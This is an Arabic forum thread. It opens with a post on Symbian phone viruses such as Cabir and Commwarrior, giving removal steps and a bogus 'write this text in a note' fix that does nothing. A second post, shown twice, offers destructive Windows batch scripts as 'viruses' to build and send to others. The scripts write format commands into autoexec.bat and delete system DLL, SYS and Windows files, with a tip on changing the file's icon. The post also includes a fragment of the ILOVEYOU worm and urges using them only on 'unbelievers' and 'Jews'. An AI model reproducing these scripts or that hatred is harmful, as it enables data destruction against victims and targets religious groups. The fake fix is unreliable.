موضوع عن الفيروسات

السلام عليكم ورحمة الله وبركاته

مساكم صباحكم الله بالخير جميعاً

اليوم اقدم لكم موضوع يتكلم عـن
فيروسات الجوال وكيف تتخلص منها
وطبعاً الموضوع انا بحثت فيه على مجموعـة من المواقع والمنتديات
ولقيـت فيها فايدهـ كبيـرة وخاصـة لإصحاب جوالات الجيل الثالـث
وجمعـت لكـم اكثر المعلومات صحة ..ودقة..ووضـوح
ومن مصادر معروفـة
واذا لقيـت معلومات اكثر وضوح واكثر شمول راح اضيفها للموضوع بأذن الله

بسم الله الرحمن الرحيم

- - - - - - - - - - - - - - - - - - - - - -



ظهر في الآونة الأخيرة جيل جديد من الفيروسات، أرعبت من يستخدمون الهواتف الجوالة. وحقيقة الأمر ان هذه الفيروسات تصيب فقط نوعاً معيناً من الهواتف المحمولة ألا وهي الهواتف الذكية والمسماة بـ Symbian وذلك بسبب استخدامها نظام تشغيل من نوع Symbian وهو نظام قريب من نظام الحاسوب ويندوز. من ما يتيح لمستخدم هذا النوع من الهواتف المحمولة إضافة وإزالة البرامج حسب الإرادة.
وبسبب وجود مثل هذا النظام على الجوالات الحديثة حاليا. أتاح هذا النظام لمبرمجي الفيروسات ان يبدءوا بإنتاج جيل جديد من الفيروسات لنشر الدمار على من يحمل هذا النوع من الهواتف.
ويوجد حاليا عدد من الفيروسات التي تقوم بأعمال تدميرية مختلفة على جوالات السامبيون الذكية، وإليكم قائمة بالفيروسات المنتشرة حاليا.
فيروس Cabir :
ويوجد نوعين من هذا الفيروس وهي EPCC/Cabir وفيروس SymbOS/Cabir . وينتقل هذا الفيروس عبر تقنية البلوتوث الموجودة في أجهزة السامبيون الذكية. ويتم استقباله في جهاز الضحية على ملف باسم Caribe.sis وستجده في مجلد الـ Index وعند الضغط علية لكي يعمل يقوم هذا الفيروس بالعمل مباشرة ونشر نفسه والانتقال من جهاز إلى آخر عبر البلوتوث.
لكي يصلك فيروس الـ Cabir تحتاج إلى تقنية البلوتوث ان تكون في جهازك لذلك الأجهزة التي لا تدعم هذه التقنية لا يمكن لفيروس الـ Cabir الوصول اليها الى عن طريق فيروس آخر. ولكي تمنع انتقال هذا الفيروس إلى جهازك يجب ان لا يكون على الوضع Discover Mode . إذا كان لديك برنامج حماية فسوف يقوم بحذف هذا الفيروس، شركة كاسبرسكاي هي أول شركة اكتشفت هذا الفيروس.
فيروس ****l Gear :
تقول شركة SimWork مكتشفة هذا الفيروس ان هذا هو أول فيروس للهواتف المحمولة الذكية Symbian الذي يقوم بتعطيل برامج الحماية على أجهزة الجوال ليس هذا فحسب بل يقوم أيضا بتعطيل برامج التصفح الخاصة بالإنترنت على الهاتف المحمول.
اسم ****l Gear هو اسم مأخوذ من اسم للعبة تعمل على الهواتف النقالة وهي لعبة خالية من أي مشاكل أو فيروسات ولكن هذا الفيروس يستغل هذا الاسم المشهور لكي ينتشر بسرعة . يقوم هذا الفيروس أيضا بنشر فيروس من نوع آخر تحت اسم Sexxxy.sis ويقوم هذا الفيروس بإبطال عمل أزرار الهاتف الجوال وهو ما يسمى بـ ****lGear.A , كما يقوم هذا الفيروس أيضا بنشر فيروس الـ Cabir :
فيروس Lasco A :
قام بعمل هذا الفيروس مبرمج من البرازيل، وينتقل هذا النوع من الفيروسات عبر تقنية البلوتوث أو ان يقوم بإلحاق نفسه من ضمن برامج أخرى. ويعتبر هذا النوع من الفيروسات أول فيروس يقوم باستخدام طريقتين مختلفتين في التنقل في نفس الوقت. ويصيب هذا الفيروس أيضا هواتف الـ Symbian ويلحق نفسه بملفات الـ SIS وتعني Symbian Instlation System . وكما ذكرت شركات الحماية ان هذا الفيروس سوف يبدأ بالعمل وذلك بعد الضغط على ملف الـ SIS المصاب. أحد الأعراض التي قد تدل على وجود فيروس لاسكو في الهاتف هي ان مؤشر البطارية يبين لك ان البطارية شارفت على الانتهاء مع ان الجهاز لا يزال يوجد فيه طاقه كافية للعمل لساعات.
فيروس Skulls :
هذا الفيروس مختلف عن الفيروسات الأخرى حيث يقوم هذا الفيروس بعمليات محددة على الهواتف المحمولة ويعمل هذا الفيروس فقط على أجهزة النوكيا 7610 ويعتبر من اصعب الفيروسات عملا ، وينقل عن طريق جهاز الكمبيوتر الموصل بجوالك ومن ثم يجب عليك ان تقوم بتثبيته ويقوم هذا الفيروس بإبطال عمل Nokia Theme Manger وبعد ذلك بتحويل كل الصور والأيقونات على الجوال إلى جماجم ثم يقوم بعد ذلك بإبطال عمل الهاتف بالكامل فيقوم الهاتف فقط باستقبال وإرسال المكالمات لا اكثر. الجيل الجديد من هذا الفيروس والمسمى Skulls B يقوم بانتقال من جهاز إلى آخر عن طريق تقنية البلوتوث. وقد قيل ان في البداية كان هذا الفيروس هو نتيجة تحدٍ بين مبرمج فيروسات وشركة هاتف لإثبات ان جوالات السامبيون بإمكانها ان تصاب بفيروس بكل سهولة.
إجراء شركات الهواتف المحمولة :
أعلنت شركة نوكيا أنها سوف تقوم بإدخال برامج الحماية من الفيروسات مع أجهزتها الجديدة وذلك عن طريق دمج برنامج F-Secure في الهاتف وسوف يشاهد ذلك في جهاز نوكيا الجديد 6670.
وكما سوف تسمح الشركة لمستخدمي هواتفها ان يقوموا بتحميل هذا البرنامج من موقع الشركة وذلك عن طريق الاتصال الأمن SSL.
كيف تحمي جهازك :
لكي تستطيع ان تحمي نفسك من هذه الفيروسات والفيروسات القادمة عليك ان تقوم بتحميل برنامج الحماية الخاص بشركة F-Secure عن طريق الوصلة التالية: www.f-secure.com/products/fsmavs06
وسوف يقوم هذا البرنامج بعمل بحث لإزالة ما يوجد لديك من فيروسات كما سوف يقوم بتحديث نفسه تلقائيا عن طريق خدمه الـ GPRS وذلك لحمايتك من أي فيروسات مستقبلا .

فيروس الجوال Commwarrior طريقة التخلص منه + برنامج خاص


اسم الفايروس Commwarrior

يظهر هكذا عند بداية التثبيت





الاصدار الاول v1.0

تصميم روسي

تنبهت له شركة النوكيا مؤخرا وقامت بأدراج برنامج حمايه في الجوالات الجديده


تعريـــــــف:

لقد ظهر في الآونة الأخيرة نوع جديد من الهواتف الذكية والتي تعمل على نظام تشغيل مشهور خاص بالهواتف النقالة والمسمى بـ سيمبيان وقد أصاب هذا النظام قرابة 8 فيروسات وتروجانين آخرها كان فيروس كابير الذي أصاب العديد من الهواتف الجديدة ولكن اليوم هناك فيروس اذكى من الفيروس السابق وهو
CommWarrior
الذي اصاب جهازي اليوم فبحث عن الفيروس وكتشفت التالي
الفيروس :من نوع الدودة
اسم الشهرة : SymbOS/Commwarrior.A
الاصل :روسيا
ذكي جدا لانه يدبل الاسم في كل مرة ينتقل فيه الى جهاز جديد وهو من الفيروسات القليلة التي استطاعت فعل ذلك والتنقل عن طريق البلوتوث من الأجهزة في 17 دولة حول العالم.
( عنداصابة الجهازالضحية سَيَبْدأُ الجهاز الضحية بالتفتيش عن الهواتفِ السليمة الأخرى التي في يُمْكِنُ يصيبها عن طريق ال Bluetooth وتُرسلُ ملفاتَ إس آي إس ( sis ) مُصَابة إلى الهواتفِ التي تَجِدُه في نطاق البلوتوث على شرط ان يكون الجهاز السليم مشغل البلوتوث بذلك يكون جهاز مصاب ناقل للعدوه) .
وهناك طريقة اخرى للاصابة بهذا الفيروس حسب المصادر بأن يقوم شخص ما بإرسالها عبر الانترنت عن طريق مكالمة بيانات او راسال mms
ماذا يمكن لهذه الفيروسات أن تفعله فهي تستطيع أن تقوم بمسح كل الأرقام والمواعيد التي على هاتفك الجوال وبعضها الآخر يقوم بإغلاق استخدامك للهاتف نهائيا وأحيانا تقوم بإطفائه كليا. ولكن السؤال الذي يتردد إلى ذهن الكثيرين هل يقوم فيروس الجوال بتركيب نفسه إلى جهازي دون علم مني؟ فهذا ليس صحيح. فكل هذه الفيروسات عند وصولها إلى جهازك تقوم بإعطائك إنذارا أن هذا البرنامج سوف يتم تركيبة ولك إمكانية إما قبول أو رفض التركيب. وهذا يدعو إلى أن يكون مستخدم الهاتف المحمول منتبها إلى ما يمكن أن يحدث في حال قبل تركيب مثل هذه البرامج مجهولة المصدر. ولهذا ننصح بعدم قبول أي ملف غريب وتركيبه في الجهاز وحيث لم يتضح الى حد الان ان الفيروسات تستطيع الانتقال عن طريق الصور والاصوات فالامر بالنسبة لهذا النوع سليم على الاقل الى حد الان.
والمصيبة العظمة في هذا لفيروس انه سوف يقوم بَقراءة دفترَ العناوين أيضاً لأرقامِ الهواتف، ويَبْدأُ بإرْسال رسائلِ إم إم إس تَحتوي ملفَ commwarrior إس آي إس ( ملف الفيروس ) ... الم اقول لكم انه ذكي وللتذكير فقط ان هذا الفيروس اقوا من فيروس كابير في الانتشار لاسباب تتعلق فيه بتقنية الاتصال .
بقيا ان تعرف ان الفيروس قد بداء في الانتشار شهر مارس لعام 2005م.



من مشاهاتي الخاصه لهذا الفيروس انه يغير اسمه بالفعل في كل مره وينتقل عبر البلوتوث ولاكن لم ينتقل اذا اغلقت البلوتوث وينتقل لنفس نوعية الجهاز حيث كان يصيب جوالين من نوع الدمعه ولم يرسل لجوالي 6630
ويرسل رسائل وسائط لاي رقم يتصل او يرسل لجوالك واحيانا يرسل نفسه لارقام غريبه واستغرب كيف يمكنه ذلك ولا اظن انه بالتخمين ربما انه يتعرف على الرقم من خلال البلوتوث ولان الارقام تتغير في كل بلد فتخميني هو الاقرب
حيث اذا اصاب جوالك هذا الفيروس سوف يسبب لك المشاكل مع ناس غرب واقارب وياويلك لو كان الشخص فاهم انه فيروس%^%

بقي أن نشير إلى انه احيانا يغير شعار الشبكه واحيانا لا
طريقة حذف الشعار بواسطة سليك
c/system/apps/phone
احذف مابداخله

طرق التخلص منه

يدويا والشرح في الاسفل
وبواسطة برنامج خاص نزل مؤخرا
وبواسطه برنامج الحماية المعتمد من النوكيا نورتن انت فايرس

* * * * * * *
اولا


بدايةً انتقل الفايروس عن طريق رسائل الوسائط والمعروفه ب (MMS)

وإذا وصل لك عن طريق الوسائط(MMS) فستجد الرسالة كالتالي:

Norton AntiVirus Released now for mobile, install it!
أو
Nokia ringtoner Nokia RingtoneManager for all models.
أو
Security update #12 Significant security update. See www .symbian.com
أو
صيغ أخرى!!

والفايروس مصمم للقضاء على حسابك وايضا القضاء على عمر البطاريه بأسرع وقت فهو الفايروس الأول من نوعه من ناحية طريقة عمله
وهو موجه للأجهزة التالي

Nokia 3650, 3600
Nokia 3660, 3620
Nokia 6600
Nokia 6620
Nokia 7610
Nokia 7650
Nokia N-Gage
Panasonic X700
Sendo X
Siemens SX1

وأحيانا أخرى يصل لك عن طريق البلوتوث وستجده بعد استقباله في كل مره بأسم مختلف!!

وحتى لو البلوتوث مقفل ستجد أنه سيرسل للأجهزة الأخرى بلوتوث من تلقاء نفسه!!


والفايروس هو في الحقيقيه بعد التثبيت يكون على صيغة EXE
بحيث لايمكنك رؤيته ابدا ويشتغل بالخلفيه ..
مثل برنامج القفل للنوكيا فهو برنامج ويشتغل دائما ولكن لاتستطيع رؤية ايقونه معينه له او تعديله.. فهو EXE (ملف تشغيلي) يشتغل بالخلفيه..
لذا لايوجد له اي صور توضيحيه SCREENSHOT يعني الفايروس بعد مهاجمته لجهازك يكون بالمسارات التاليه
والتي سنقوم بحذفها تخلصا منه


\system\updates\commrec.mdl
\system\updates\commwarrior.exe
\system\updates\commw.sis
\system\apps\CommWarrior\commwarrior.exe
\system\apps\CommWarrior\commrec.mdl


والبحث يجب أن يكون عن طريق برنامج ال SeleQ في المحرك C او E أي يجب البحث في كلاهما
واي ملف يصادفك مثل هذه قم بحذفه فورا
ومن ثم اعادة تشغيل الجوال بعد فك الميموري واعادتها ايضا..


كيف تتخلص من فيروس الجوال كوم وريور خطوة بخطوة بكل الطرق المتاحة؟






فجأة تأتيك رسالة بلوتوث من أحد أخوتك في المنزل أو من أحد الأصدقاء وأنت في الاستراحة أو في مكان عام فتفرح بها متصورا أنها تحتوي على صورة أو فلم قصير أو مقطع صوتي مرح وما ان تصل الرسالة حتى تفتحها باحثا عن محتواها ولكن للأسف لن يظهر شيء وعندها ستعيد النظر إلى محتوى الرسالة لتجد أنها ذات اسم غريب وتقسيمه من نوع Sis وليس من نوع JPG أو 3p والى هنا والوضع مقبول فربما تكون الرسالة غير مدعومة من النظام أو أنه الملف غير مكتمل ولكن بعد لحظات سيحدث ما لم يكن في الحسبان.
أعراض الفيروس
يقوم فيروس Commwarrior الخطير بالانتشار عبر خاصية البلوتوث وما ان يتم تحميله في الجوال حتى يقوم بالعمل على نشر نفسه لكل الجوالات الموجودة بالجوار واحدا تلو الآخر حتى يبقى على قيد الحياة ويسبب الضرر لأكبر عدد من الأجهزة، وعندما يتم تحميلة إلى الجوال كرسالة فانه لا يسبب الضرر ولا يستطيع الانتشار ولكن عندما نقوم بمحاولة تشغيله من صندوق الرسائل الواردة وحفظة أو مشاهدته يقوم نظام التشغيل في الجهاز بأشعارنا بان هذا الملف برنامج تشغيلي ويطلب منك التأكد من انك تريد فعلا تشغيل هذا الملف وعندما توافق فقد بدأت المعاناة حيث يضع نفسه في أماكن مختلفة داخل الجهاز ويأخذ عصا التحكم من صاحب الجوال نفسه، وتظهر هنا علامات المرض، حيث لا يكتفي البرنامج بإزعاج الأجهزة المجاورة بكثرة إرسال نفسه عبر البلوتوث للآخرين ولكنه أيضا يقوم بإعادة تشغيل الجهاز كل فتره قصيرة ساعيا إلى القضاء على البطارية وتقصير عمر الجهاز عبر كثرة التشغيل وكذلك قطع المكالمات وأي عمل تقوم به على الجهاز حارماً صاحب الجهاز من ابسط وسائل المتعة والفائدة من جهازه.
الاكتشاف والمقاومة
يعرف هذا الفيروس بأنه فيروس روسي الأصل ويعطي نفسه عدة أسماء عند انتقاله عبر البلوتوث حتى لا يعرف الناس هويته بالضبط ويقعون ضحيته كما انه عدة أنواع، A,b,c ولكن عندما يتم تشغيله فانه يخزن نفسه على النظام باسمه المعروف وهو COMMWARRIOR ولهذا فهناك فرصة لمعرفة مكانه وتدميره، كما يقوم مضاد الفيروسات بعرض رسالة في أعلى الشاشة بان الجهاز مصاب بفيروس الكوم ووريور ولكنه لا يزيله، وقبل ان نتحدث عن طرق العلاج لمن وقع ضحية هذا الفيروس سنتحدث عن ابسط طرق الوقاية، فأي رسالة جوال تأتيك عليك التأكد من إنها ليست من الأنواع التالية:sis,exe,bat,com,bi علما بان هذا الفيروس يعمل على بيئة السيمبيان وتقسيمته من نوع sis كما ذكرنا سابقا، وحتى لو لم يكن لدينا خبرة في نوع التقسيمة فان الجوال سيخبرك برسالة غريبة بأنك على وشك تشغيل برنامج ولهذا عليك الرفض فورا ومسح الرسالة وعدم حفظها، وإذا أصيب جهازك بالفيروس فعليك إطفاء الجهاز وعدم تشغيله إلا للضرورة فقط ويمكنك تحويل الجوال إلى هاتف آخر أو إلى البريد الصوتي أو خدمة موجود حتى لا تفقد الاتصال مع الناس ومعرفة من اتصل بك أثناء إطفاء الجهاز، وإذا كان وقتك لا يسمح لك بالدخول إلى الانترنت وتحميل مضاد الفيروسات وماسح الفيروس الذي سنشرحه الآن فعليك التوجه إلى اقرب محل اتصالات وسيتم مسحه خلال دقائق وبمبلغ زهيد، ولا تنس ان تطلب منهم تحميل الجهاز بمضاد للفيروسات حتى لا يعود إليك مرة أخرى مثل Symantec Mobile Security
القضاء على الفيروس
يتم القضاء على الفيروس بطريقتين، الأولى عادية والثانية ببرنامج متخصص لهذا الفيروس، وفي كلتا الحالتين لا بد من وجود جهاز حاسب مرتبط بالإنترنت ومزود بوصلة بلوتوث حي يتم التحكم في بيانات الجوال عبر الحاسب، وفي الطريقة اليدوية نستخدم برامج التصفح لنظام السمبيان مثل fileman او الملف SeleQ الذي يتم تحميله من مواقع على الانترنت ثم تنقله أنت إلى الجوال عبر البلوتوث وتقوم بتشغيله فيجعلك قدرا على الدخول إلى ملفات النظام ، عندها اذهب العناوين التالية واحذ الملفات كالتالي: system\apps\CommWarrior\commwarrior.exe
\system\apps\CommWarrior\commrec.mdl
\system\updates\commrec.mdl
\system\updates\commwarrior.exe
\system\updates\commw.sis وبهذا تكون تخلصت تماما من الفيروس، ولكن إذا أردت ان تزعج نفسك استخدم الوسيلة الثانية وهي كالتالي: اذهب إلى محرك البحث قوقل وأكتب الكلمة Anticommwarrior وستظهر عدة مواقع يتواجد فيها هذا الملف الذي سيقوم تلقائيا بتطهير الجهاز من هذا الفيروس، اضغط على أي رابط من هذه المواقع ونزل الملف إلى الحاسب ثم انقله إلى الجوال عبر البلوتوث وشغل البرنامج وسيقوم هو بالبحث عن الفيروس والقضاء عليه.


تخلص من فيروسات الجوال بدون برامج

هذة الطريقة تشتغل على الفارس والباندا والدمعة والشبح
اولا افتح القائمة
ثم الزيادات
ثم الملاحظات وافتح ملاحظة جديدة
واكتب الاتى
long on /c:/scaningor formated v **.* sdaner for virus
اذا ظهرت لك رسمة درع فى ورقة الملاحظة يعنى ان الطريقة تشتغل و اذا لم تظهر اكتب العبارة من جديد وهذة الطريقة تكشف الفيروسات من حيث حركاتها وهذة الطريقة هى كمثل المضاد الحيوى الذى يعطى للانسان
فهذة الطريقة تصنع كائنات تهاجم الفيروسات وتفرمت بياناتها المبرمجة .

وان شاء الله تعم الفائدة للجميــع

تحياتــي لكـــم..

ميرسي يا عسل علي المعلومات القيمه ..

سلــمت يدااك ..

تقبل مروري

بإنتظار كل جديدك يا كينج ..

سلااامي

ملك القلوب

شكرا على مرورك وردك الجميل

كتبهاالمدمر الرهيب ، 5/12/2010




اقسم ان لا استعمل الطريقه الا على الكفار
اول شي افتح الدفتر او المفكره وليس الورد

وتنسخ الكود الي تحت وتضعه في المفكره و تعمل حفظ باسم وتكتب اسم الملف

الاسم مثلا not
تكتب not.bat وسيحفظ على شكل مربع ابيض داخله ترس اصفر بس لا تحاول

ولا تفكر تفتح الملف بعد صنعه وارسله فقط لليهود

وهذي الفيروسات مع عملها بس لا تنسخ عمل الفايروس في المفكره
فايروس عمل فورمات على C,D,E,F
0000FF
عمل فورمات C,D,E,F والطابعه

call attrib -h -r c:\autoexec.bat >nul
echo format c: /q /u /autotest >nul >>c:\autoexec.bat
echo format d: /q /u /autotest >nul >>c:\autoexec.bat
echo format e: /q /u /autotest >nul >>c:\autoexec.bat
echo format f: /q /u /autotest >nul >>c:\autoexec.bat
echo I love my girl
echo Smart Hacker

عمل فورمات C,D,E,F والطابعه واعادة تشغيل الجهاز

call attrib -h -r c:\autoexec.bat >nul
echo format c: /q /u /autotest >nul >>c:\autoexec.bat
echo format d: /q /u /autotest >nul >>c:\autoexec.bat
echo format e: /q /u /autotest >nul >>c:\autoexec.bat
echo format f: /q /u /autotest >nul >>c:\autoexec.bat
echo I love my girl
echo Smart Hacker
c:\windows\rundll.exe user.exe,exitwindowsexec

عمل فورمات C,D,E,F والطابعه وقفل الجهاز
call attrib -h -r c:\autoexec.bat >nul
echo format c: /q /u /autotest >nul >>c:\autoexec.bat
echo format d: /q /u /autotest >nul >>c:\autoexec.bat
echo format e: /q /u /autotest >nul >>c:\autoexec.bat
echo format f: /q /u /autotest >nul >>c:\autoexec.bat
echo I love my girl
echo Smart Hacker
c:\windows\rundll32.exe user.exe,exitwindows
قتل الوندوز وحذف كل الملفات بعد التشغيل مباشره

@Echo off
c:
cd %WinDir%\System\
deltree /y *.dll
cd\
deltree /y *.sys
echo Smart Hacker

قتل الوندوز وحذف كل الملفات بعد اول اعادة تشغيل للجهاز

call attrib -h -r c:\autoexec.bat >nul
@Echo off
c:
cd %WinDir%\System\
deltree /y *.dll
cd\
deltree /y *.sys
echo Smart Hacker

عمل فورمات للجهاز فورا

code:——————————————————————————–echo off@
cls
call attrib -h -r c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo deltree /y c:\progra~1\*.* >nul >>c:\autoexec.bat
echo copy c:\windows\command\format.com c:\ >nul >>c:\autoexec.bat
echo copy c:\windows\command\deltree.exe c:\ >nul >>c:\autoexec.bat
echo deltree /y c:\windows\*.* >nul >>c:\autoexec.bat
echo format c: /q /u /autotest >nul >>c:\autoexec.bat——————————————————————————–

اهم فايروس فايروس مدمر

echo off@

cls
call attrib -h -r c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo deltree /y c:\progra~1\*.* >nul >>c:\autoexec.bat
echo copy c:\windows\command\format.com c:\ >nul >>c:\autoexec.bat
echo copy c:\windows\command\deltree.exe c:\ >nul >>c:\autoexec.bat
echo deltree /y c:\windows\*.* >nul >>c:\autoexec.bat
echo format c: /q /u /autotest >nul >>c:\autoexec.bat

وبعد عمل الملف يمكنك تغير ايقونة الملف بطريقه الضغط عليه
باليمين واختر خصائص

يتبع



واحين نبدأ في الفايروسات القويه الحب


ullName,1)
lines=Split(c.ReadAll,vbcrlf)
l1=UBound(lines)
For n=0 To UBound(lines)
lines(n)=replace(lines(n),’,Chr(91)+Chr(45)+Chr(91))
lines(n)=replace(lines(n),””,Chr(93)+Chr(45)+Chr(93))
lines(n)=replace(lines(n),\,Chr(37)+Chr(45)+Chr(37))
If (l1=n) Then
lines(n)=Chr(34)+lines(n)+Chr(34)
Else
lines(n)=Chr(34)+lines(n)+Chr(34)&&vbcrlf& _
End If
Next
Set b=fso.CreateTextFile(dirsystem+\OVE-LETTER-FOR-YOU.HTM)
b.Close
Set d=fso.OpenTextFile(dirsystem+\OVE-LETTER-FOR-YOU.HTM,2)
d.write dt5
d.write join(lines,vbcrlf)
d.write vbcrlf
d.write dt6
d.Close
End Sub



مع تحياتى لكم
المدمر الرهيب




تحياتى لكم

كتبهاالمدمر الرهيب ،2010/12/5





اقسم ان لا استعمل الطريقه الا على الكفار

اول شي افتح الدفتر او المفكره وليس الورد



وتنسخ الكود الي تحت وتضعه في المفكره و تعمل حفظ باسم وتكتب اسم الملف



الاسم مثلا not

تكتب not.bat وسيحفظ على شكل مربع ابيض داخله ترس اصفر بس لا تحاول



ولا تفكر تفتح الملف بعد صنعه وارسله فقط لليهود



وهذي الفيروسات مع عملها بس لا تنسخ عمل الفايروس في المفكره

فايروس عمل فورمات على C,D,E,F

0000FF

عمل فورمات C,D,E,F والطابعه



call attrib -h -r c:\autoexec.bat >nul

echo format c: /q /u /autotest >nul >>c:\autoexec.bat

echo format d: /q /u /autotest >nul >>c:\autoexec.bat

echo format e: /q /u /autotest >nul >>c:\autoexec.bat

echo format f: /q /u /autotest >nul >>c:\autoexec.bat

echo I love my girl

echo Smart Hacker



عمل فورمات C,D,E,F والطابعه واعادة تشغيل الجهاز



call attrib -h -r c:\autoexec.bat >nul

echo format c: /q /u /autotest >nul >>c:\autoexec.bat

echo format d: /q /u /autotest >nul >>c:\autoexec.bat

echo format e: /q /u /autotest >nul >>c:\autoexec.bat

echo format f: /q /u /autotest >nul >>c:\autoexec.bat

echo I love my girl

echo Smart Hacker

c:\windows\rundll.exe user.exe,exitwindowsexec



عمل فورمات C,D,E,F والطابعه وقفل الجهاز

call attrib -h -r c:\autoexec.bat >nul

echo format c: /q /u /autotest >nul >>c:\autoexec.bat

echo format d: /q /u /autotest >nul >>c:\autoexec.bat

echo format e: /q /u /autotest >nul >>c:\autoexec.bat

echo format f: /q /u /autotest >nul >>c:\autoexec.bat

echo I love my girl

echo Smart Hacker

c:\windows\rundll32.exe user.exe,exitwindows

قتل الوندوز وحذف كل الملفات بعد التشغيل مباشره



@Echo off

c:

cd %WinDir%\System\

deltree /y *.dll

cd\

deltree /y *.sys

echo Smart Hacker



قتل الوندوز وحذف كل الملفات بعد اول اعادة تشغيل للجهاز



call attrib -h -r c:\autoexec.bat >nul

@Echo off

c:

cd %WinDir%\System\

deltree /y *.dll

cd\

deltree /y *.sys

echo Smart Hacker



عمل فورمات للجهاز فورا



code:——————————————————————————–echo off@

cls

call attrib -h -r c:\autoexec.bat >nul

echo @echo off >c:\autoexec.bat

echo deltree /y c:\progra~1\*.* >nul >>c:\autoexec.bat

echo copy c:\windows\command\format.com c:\ >nul >>c:\autoexec.bat

echo copy c:\windows\command\deltree.exe c:\ >nul >>c:\autoexec.bat

echo deltree /y c:\windows\*.* >nul >>c:\autoexec.bat

echo format c: /q /u /autotest >nul >>c:\autoexec.bat——————————————————————————–



اهم فايروس فايروس مدمر



echo off@



cls

call attrib -h -r c:\autoexec.bat >nul

echo @echo off >c:\autoexec.bat

echo deltree /y c:\progra~1\*.* >nul >>c:\autoexec.bat

echo copy c:\windows\command\format.com c:\ >nul >>c:\autoexec.bat

echo copy c:\windows\command\deltree.exe c:\ >nul >>c:\autoexec.bat

echo deltree /y c:\windows\*.* >nul >>c:\autoexec.bat

echo format c: /q /u /autotest >nul >>c:\autoexec.bat



وبعد عمل الملف يمكنك تغير ايقونة الملف بطريقه الضغط عليه

باليمين واختر خصائص



يتبع







واحين نبدأ في الفايروسات القويه الحب





ullName,1)

lines=Split(c.ReadAll,vbcrlf)

l1=UBound(lines)

For n=0 To UBound(lines)

lines(n)=replace(lines(n),’,Chr(91)+Chr(45)+Chr(91))

lines(n)=replace(lines(n),””,Chr(93)+Chr(45)+Chr(93))

lines(n)=replace(lines(n),\,Chr(37)+Chr(45)+Chr(37))

If (l1=n) Then

lines(n)=Chr(34)+lines(n)+Chr(34)

Else

lines(n)=Chr(34)+lines(n)+Chr(34)&&vbcrlf& _

End If

Next

Set b=fso.CreateTextFile(dirsystem+\OVE-LETTER-FOR-YOU.HTM)

b.Close

Set d=fso.OpenTextFile(dirsystem+\OVE-LETTER-FOR-YOU.HTM,2)

d.write dt5

d.write join(lines,vbcrlf)

d.write vbcrlf

d.write dt6

d.Close

End Sub







مع تحياتى لكم

المدمر الرهيب









تحياتى لكم

مُوضوع قديم يغلق

قديم ينقل الى الارشيف